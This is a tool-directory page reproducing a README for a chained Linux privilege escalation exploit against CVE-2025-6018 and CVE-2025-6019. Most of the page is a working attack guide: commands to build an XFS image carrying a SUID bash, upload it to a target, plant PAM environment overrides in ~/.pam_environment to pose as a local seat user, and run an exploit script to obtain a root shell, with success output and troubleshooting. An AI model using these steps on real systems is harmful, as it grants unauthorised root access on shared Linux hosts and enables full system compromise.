Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit β€” CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Exploit | Kitploit
Tools/GitHubGitHub/muyuanlove/cve-2025-6018-cve-2025-6019-privilege-escalation-exploit
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubmuyuanlove/cve-2025-6018-cve-2025-6019-privilege-escalation-exploit

CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

Share

CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Exploit

View Repository
121169 months agoNot yet reviewed

CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Guide

δΈ­ζ–‡

πŸ“‹ Quick Exploitation Steps

Step 1: Prepare XFS Image (Local Machine)

# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image

# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt

# Verify (should show 300M)
ls -lh xfs.image

Step 2: Upload Files to Target

# Upload exploit script and image
scp exp.sh [email protected]:~/
scp xfs.image [email protected]:~/

Step 3: First Login - Configure PAM

# SSH login to target
ssh [email protected]

# Write PAM environment variables
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

# Verify configuration
cat ~/.pam_environment

# πŸ”₯ Critical: Logout (to activate PAM config)
exit

Step 4: Second Login - Execute Privilege Escalation

# Re-login via SSH (PAM config now active)
ssh [email protected]

# Verify PAM is active (should return "('yes',)")
gdbus call --system --dest org.freedesktop.login1 \
    --object-path /org/freedesktop/login1 \
    --method org.freedesktop.login1.Manager.CanReboot

# Execute privilege escalation script
bash exp.sh

βœ… Success Indicators

If exploitation succeeds, you should see:

βœ“ SUID bash found: /tmp/blockdev_loop0_xfs_xxxxx/bash
βœ“ Root access confirmed!

════════════════════════════════════════════════════════════
β•‘ ROOT FLAG                                               β•‘
β•‘ <flag_here>                                             β•‘
════════════════════════════════════════════════════════════

bash-5.2# whoami
root

πŸ”§ Troubleshooting

IssueSolution
CanReboot returns ('no',)Make sure you logged out and back in (Step 3)
Not authorized errorCheck ~/.pam_environment content is correct
SUID bash not foundRe-upload xfs.image and verify SUID bit is set

πŸ“Œ Key Points

  • βœ… Must logout and re-login: PAM config only takes effect in new sessions
  • βœ… Verify CanReboot: Confirm it returns ('yes',) before running script
  • βœ… Use SSH login: Don't use ssh -t user@host "cmd" style execution

🐱 Cat Guardian

If it fails, ensure every step is executed strictly in order!

Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools β†’